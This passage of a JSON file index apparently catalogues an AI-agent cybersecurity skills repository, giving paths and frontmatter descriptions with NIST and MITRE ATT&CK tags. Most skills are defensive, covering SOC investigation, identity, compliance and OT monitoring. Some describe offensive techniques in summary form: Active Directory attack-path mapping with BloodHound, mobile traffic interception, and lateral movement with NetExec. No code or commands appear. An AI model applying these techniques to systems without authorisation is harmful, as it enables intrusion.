CI, enforcing consistent SAST org-wide, or producing SOC 2/PCI DSS/NIST SSDF compliance evidence.","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","sast","codeql","semgrep","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":2788,"sizeBytes":12232},{"name":"template.md","path":"skills/intercepting-mobile-traffic-with-burpsuite/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/intercepting-mobile-traffic-with-burpsuite/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":431,"sizeBytes":1493},{"name":"api-reference.md","path":"skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":527,"sizeBytes":1756},{"name":"standards.md","path":"skills/intercepting-mobile-traffic-with-burpsuite/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/intercepting-mobile-traffic-with-burpsuite/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":492,"sizeBytes":2319},{"name":"workflows.md","path":"skills/intercepting-mobile-traffic-with-burpsuite/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/intercepting-mobile-traffic-with-burpsuite/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":535,"sizeBytes":4174},{"name":"SKILL.md","path":"skills/intercepting-mobile-traffic-with-burpsuite/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/intercepting-mobile-traffic-with-burpsuite/SKILL.md","title":"intercepting-mobile-traffic-with-burpsuite","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2FSKILL.md -->","frontmatter":{"name":"intercepting-mobile-traffic-with-burpsuite","description":"Intercepts and analyzes HTTP/HTTPS traffic from mobile applications using Burp Suite proxy to identify insecure API communications, authentication flaws, data leakage, and server-side vulnerabilities. Use when performing mobile application penetration testing, assessing API security, or evaluating client-server communication patterns. Activates for requests involving mobile traffic interception, Burp Suite mobile proxy, API security testing, or mobile HTTPS analysis.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","burp-suite","traffic-interception","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078"]},"isInternal":false,"tokens":1640,"sizeBytes":7157},{"name":"api-reference.md","path":"skills/investigating-insider-threat-indicators/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/investigating-insider-threat-indicators/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-insider-threat-indicators%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":587,"sizeBytes":2475},{"name":"SKILL.md","path":"skills/investigating-insider-threat-indicators/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/investigating-insider-threat-indicators/SKILL.md","title":"investigating-insider-threat-indicators","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-insider-threat-indicators%2FSKILL.md -->","frontmatter":{"name":"investigating-insider-threat-indicators","description":"Investigates insider threat indicators including data exfiltration attempts, unauthorized access patterns, policy violations, and pre-departure behaviors using SIEM analytics, DLP alerts, and HR data correlation. Use when SOC teams receive insider threat referrals from HR, detect anomalous data movement by employees, or need to build investigation timelines for potential insider threats.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","insider-threat","data-exfiltration","dlp","ueba","investigation","hr-correlation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T1048"]},"isInternal":false,"tokens":2973,"sizeBytes":11916},{"name":"api-reference.md","path":"skills/investigating-phishing-email-incident/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/investigating-phishing-email-incident/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-phishing-email-incident%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":631,"sizeBytes":2514},{"name":"SKILL.md","path":"skills/investigating-phishing-email-incident/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/investigating-phishing-email-incident/SKILL.md","title":"investigating-phishing-email-incident","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-phishing-email-incident%2FSKILL.md -->","frontmatter":{"name":"investigating-phishing-email-incident","description":"Investigates phishing email incidents from initial user report through header analysis, URL/attachment detonation, impacted user identification, and containment actions using SOC tools like Splunk, Microsoft Defender, and sandbox analysis platforms. Use when a reported phishing email requires full incident investigation to determine scope and impact.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","phishing","incident-response","email-security","splunk","defender","sandbox"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T1598"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access","stealth","positioning"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]},"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"]},"isInternal":false,"tokens":2862,"sizeBytes":11484},{"name":"api-reference.md","path":"skills/investigating-ransomware-attack-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/investigating-ransomware-attack-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-ransomware-attack-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":582,"sizeBytes":2185},{"name":"SKILL.md","path":"skills/investigating-ransomware-attack-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/investigating-ransomware-attack-artifacts/SKILL.md","title":"investigating-ransomware-attack-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-ransomware-attack-artifacts%2FSKILL.md -->","frontmatter":{"name":"investigating-ransomware-attack-artifacts","description":"Forensically preserve memory and disk, collect ransom notes and encrypted file samples, and identify the ransomware variant using tools such as ID Ransomware, Volatility, and Chainsaw/Hayabusa to determine the initial access vector and recovery options. Use immediately after discovering ransomware encryption, when scoping the incident forensically, or when documenting evidence for law enforcement and insurance claims.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","ransomware","malware-analysis","incident-response","encryption-recovery","evidence-collection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1486"],"mitre_f3":{"version":"1.1","tactics":["initial-access","stealth","monetization"],"techniques":[{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1070","name":"Indicator Removal","tactic":"stealth","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":4365,"sizeBytes":16204},{"name":"api-reference.md","path":"skills/managing-cloud-identity-with-okta/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-cloud-identity-with-okta/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-cloud-identity-with-okta%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":643,"sizeBytes":2436},{"name":"SKILL.md","path":"skills/managing-cloud-identity-with-okta/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-cloud-identity-with-okta/SKILL.md","title":"managing-cloud-identity-with-okta","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-cloud-identity-with-okta%2FSKILL.md -->","frontmatter":{"name":"managing-cloud-identity-with-okta","description":"Implement Okta as a centralized cloud identity provider: configure SSO with AWS, Azure, and GCP, deploy phishing-resistant MFA with Okta FastPass, automate user provisioning/deprovisioning, and enforce adaptive access policies on device posture and risk signals. Use when standing up Okta SSO, rolling out FastPass MFA, automating identity lifecycle, or building risk-based conditional access for cloud environments.","domain":"cybersecurity","subdomain":"cloud-security","tags":["okta","cloud-identity","single-sign-on","phishing-resistant-mfa","identity-lifecycle"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1566"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":3001,"sizeBytes":12421},{"name":"api-reference.md","path":"skills/managing-intelligence-lifecycle/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-intelligence-lifecycle/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-intelligence-lifecycle%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":529,"sizeBytes":2054},{"name":"SKILL.md","path":"skills/managing-intelligence-lifecycle/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-intelligence-lifecycle/SKILL.md","title":"managing-intelligence-lifecycle","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-intelligence-lifecycle%2FSKILL.md -->","frontmatter":{"name":"managing-intelligence-lifecycle","description":"Manages the end-to-end cyber threat intelligence lifecycle from planning and direction through collection, processing, analysis, dissemination, and feedback to ensure intelligence products meet stakeholder requirements and continuously improve. Use when establishing or maturing a CTI program, defining intelligence requirements with business stakeholders, or building feedback loops between intelligence consumers and producers. Activates for requests involving CTI program maturity, intelligence requirements, PIRs, or intelligence lifecycle management.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["CTI","intelligence-lifecycle","PIR","NIST-SP-800-150","threat-intelligence-program","NIST-CSF"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":1298,"sizeBytes":6331},{"name":"template.md","path":"skills/managing-third-party-vendor-risk/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-third-party-vendor-risk/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":751,"sizeBytes":3136},{"name":"standards.md","path":"skills/managing-third-party-vendor-risk/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-third-party-vendor-risk/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1046,"sizeBytes":4424},{"name":"SKILL.md","path":"skills/managing-third-party-vendor-risk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/managing-third-party-vendor-risk/SKILL.md","title":"managing-third-party-vendor-risk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2FSKILL.md -->","frontmatter":{"name":"managing-third-party-vendor-risk","description":"Build and run a third-party/vendor risk management (TPRM) program aligned to NIST SP 800-161 C-SCRM: inventory and tier vendors, issue SIG/CAIQ questionnaires, review SOC 2/ISO 27001 evidence, set contractual right-to-audit clauses, monitor vendors continuously, and offboard securely. Use when assessing a new vendor, standing up a vendor-risk program, tiering a portfolio, reviewing a SOC 2/CAIQ, or writing security terms into a contract.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["third-party-risk","vendor-risk-management","tprm","supply-chain-risk","c-scrm","nist-800-161","soc2","caiq","continuous-monitoring","governance"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["GV.SC-01","GV.SC-04","GV.SC-06","GV.SC-07","ID.RA-05","GV.OC-03"],"mitre_attack":["T1199","T1195","T1078","T1190","T1567"]},"isInternal":false,"tokens":2059,"sizeBytes":8711},{"name":"api-reference.md","path":"skills/mapping-attack-paths-with-bloodhound-ce/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/mapping-attack-paths-with-bloodhound-ce/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":658,"sizeBytes":2284},{"name":"standards.md","path":"skills/mapping-attack-paths-with-bloodhound-ce/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/mapping-attack-paths-with-bloodhound-ce/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":285,"sizeBytes":1222},{"name":"SKILL.md","path":"skills/mapping-attack-paths-with-bloodhound-ce/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/mapping-attack-paths-with-bloodhound-ce/SKILL.md","title":"mapping-attack-paths-with-bloodhound-ce","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2FSKILL.md -->","frontmatter":{"name":"mapping-attack-paths-with-bloodhound-ce","description":"Collect Active Directory data with SharpHound and Entra ID data with AzureHound, ingest into BloodHound Community Edition, and analyze on-prem, cloud, and hybrid attack paths using built-in queries and custom Cypher. Use during authorized red-team or penetration-test engagements to map privilege-escalation chains toward domain/tenant compromise.","domain":"cybersecurity","subdomain":"red-teaming","tags":["bloodhound-ce","sharphound","azurehound","active-directory","entra-id","attack-paths","cypher","hybrid-identity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.AM-03"],"mitre_attack":["T1069"]},"isInternal":false,"tokens":2977,"sizeBytes":12035},{"name":"api-reference.md","path":"skills/mapping-mitre-attack-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/mapping-mitre-attack-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-mitre-attack-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":752,"sizeBytes":2708},{"name":"SKILL.md","path":"skills/mapping-mitre-attack-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/mapping-mitre-attack-techniques/SKILL.md","title":"mapping-mitre-attack-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-mitre-attack-techniques%2FSKILL.md -->","frontmatter":{"name":"mapping-mitre-attack-techniques","description":"Maps observed adversary behaviors, security alerts, and detection rules to MITRE ATT&CK techniques and sub-techniques to quantify detection coverage and guide control prioritization. Use when building an ATT&CK-based coverage heatmap, tagging SIEM alerts with technique IDs, aligning security controls to adversary playbooks, or reporting threat exposure to executives. Activates for requests involving ATT&CK Navigator, Sigma rules, MITRE D3FEND, or coverage gap analysis.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["MITRE-ATT&CK","ATT&CK-Navigator","Sigma","D3FEND","TTP","detection-engineering","NIST-CSF"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1685.002"]},"isInternal":false,"tokens":1807,"sizeBytes":7244},{"name":"api-reference.md","path":"skills/migrating-to-post-quantum-cryptography/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/migrating-to-post-quantum-cryptography/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":857,"sizeBytes":2678},{"name":"standards.md","path":"skills/migrating-to-post-quantum-cryptography/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/migrating-to-post-quantum-cryptography/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":465,"sizeBytes":1842},{"name":"SKILL.md","path":"skills/migrating-to-post-quantum-cryptography/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/migrating-to-post-quantum-cryptography/SKILL.md","title":"migrating-to-post-quantum-cryptography","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2FSKILL.md -->","frontmatter":{"name":"migrating-to-post-quantum-cryptography","description":"Build a cryptographic inventory/CBOM with OpenSSL 3.5+, deploy hybrid post-quantum key exchange (X25519MLKEM768) on TLS/VPN/SSH endpoints, generate ML-KEM/ML-DSA keys and PQC/hybrid certificates, and prioritize migration by harvest-now-decrypt-later (HNDL) exposure per NIST SP 1800-38. Use when inventorying enterprise cryptography for quantum-readiness, enabling hybrid PQC key exchange, or issuing and verifying PQC/hybrid certificates.","domain":"cybersecurity","subdomain":"cryptography","tags":["post-quantum","cryptography","ml-kem","ml-dsa","crypto-agility","cbom","tls","quantum-readiness"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-02"],"mitre_attack":["T1573"]},"isInternal":false,"tokens":3218,"sizeBytes":12043},{"name":"api-reference.md","path":"skills/modeling-threats-with-opencti/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/modeling-threats-with-opencti/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":784,"sizeBytes":3152},{"name":"standards.md","path":"skills/modeling-threats-with-opencti/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/modeling-threats-with-opencti/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":271,"sizeBytes":1135},{"name":"SKILL.md","path":"skills/modeling-threats-with-opencti/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/modeling-threats-with-opencti/SKILL.md","title":"modeling-threats-with-opencti","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2FSKILL.md -->","frontmatter":{"name":"modeling-threats-with-opencti","description":"Deploy OpenCTI (Filigran) via Docker Compose and use the pycti Python client to model threat actors, intrusion sets, campaigns, and indicators as a STIX 2.1 knowledge graph with relationships (uses, attributed-to, targets). Use when building a centralized threat-intel knowledge base, correlating IOCs from multiple feeds into one adversary graph, or producing STIX bundles for detection engineering.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["opencti","threat-intelligence","stix2","pycti","knowledge-graph","threat-modeling","mitre-attack","cti"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-03"],"mitre_attack":["T1589"]},"isInternal":false,"tokens":2841,"sizeBytes":11348},{"name":"api-reference.md","path":"skills/monitoring-darkweb-sources/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/monitoring-darkweb-sources/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-darkweb-sources%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":574,"sizeBytes":2268},{"name":"SKILL.md","path":"skills/monitoring-darkweb-sources/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/monitoring-darkweb-sources/SKILL.md","title":"monitoring-darkweb-sources","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-darkweb-sources%2FSKILL.md -->","frontmatter":{"name":"monitoring-darkweb-sources","description":"Monitors dark web forums, marketplaces, paste sites, and ransomware leak sites for mentions of organizational assets, leaked credentials, threatened attacks, and threat actor communications to provide early warning intelligence. Use when establishing dark web monitoring coverage, investigating specific data breach claims, or enriching incident investigations with dark web context. Activates for requests involving dark web OSINT, leak site monitoring, credential exposure, Recorded Future dark web, or Tor hidden service intelligence.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["dark-web","OSINT","credential-monitoring","ransomware-leaks","Recorded-Future","SpiderFoot","CTI"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1003"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access"],"techniques":[{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"T1650","name":"Acquire Access","tactic":"resource-development","source":"attack"},{"id":"T1555.003","name":"Credentials from Password Stores: Credentials from Web Browsers","tactic":"reconnaissance","source":"attack"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":1785,"sizeBytes":8249},{"name":"api-reference.md","path":"skills/monitoring-scada-modbus-traffic-anomalies/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/monitoring-scada-modbus-traffic-anomalies/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-scada-modbus-traffic-anomalies%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1232,"sizeBytes":4973},{"name":"SKILL.md","path":"skills/monitoring-scada-modbus-traffic-anomalies/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/monitoring-scada-modbus-traffic-anomalies/SKILL.md","title":"monitoring-scada-modbus-traffic-anomalies","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-scada-modbus-traffic-anomalies%2FSKILL.md -->","frontmatter":{"name":"monitoring-scada-modbus-traffic-anomalies","description":"Monitors Modbus TCP traffic on SCADA and ICS networks to detect anomalous function code usage, unauthorized register writes, and suspicious communication patterns. The analyst uses deep packet inspection with pymodbus, Scapy, and Zeek to baseline normal PLC/RTU communication behavior, then applies statistical and rule-based anomaly detection to identify reconnaissance, parameter manipulation, and denial-of-service attacks targeting Modbus devices on port 502. Activates for requests involving Modbus traffic analysis, SCADA network monitoring, ICS anomaly detection, PLC security monitoring, or OT network threat detection.\n","domain":"cybersecurity","subdomain":"ot-security","tags":["Modbus-TCP","SCADA","ICS-security","deep-packet-inspection","anomaly-detection","OT-monitoring"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05"],"mitre_attack":["T0816","T0836","T0830","T1595"]},"isInternal":false,"tokens":5493,"sizeBytes":24653},{"name":"api-reference.md","path":"skills/moving-laterally-with-netexec/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/moving-laterally-with-netexec/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2Freferences%2Fapi-reference.md 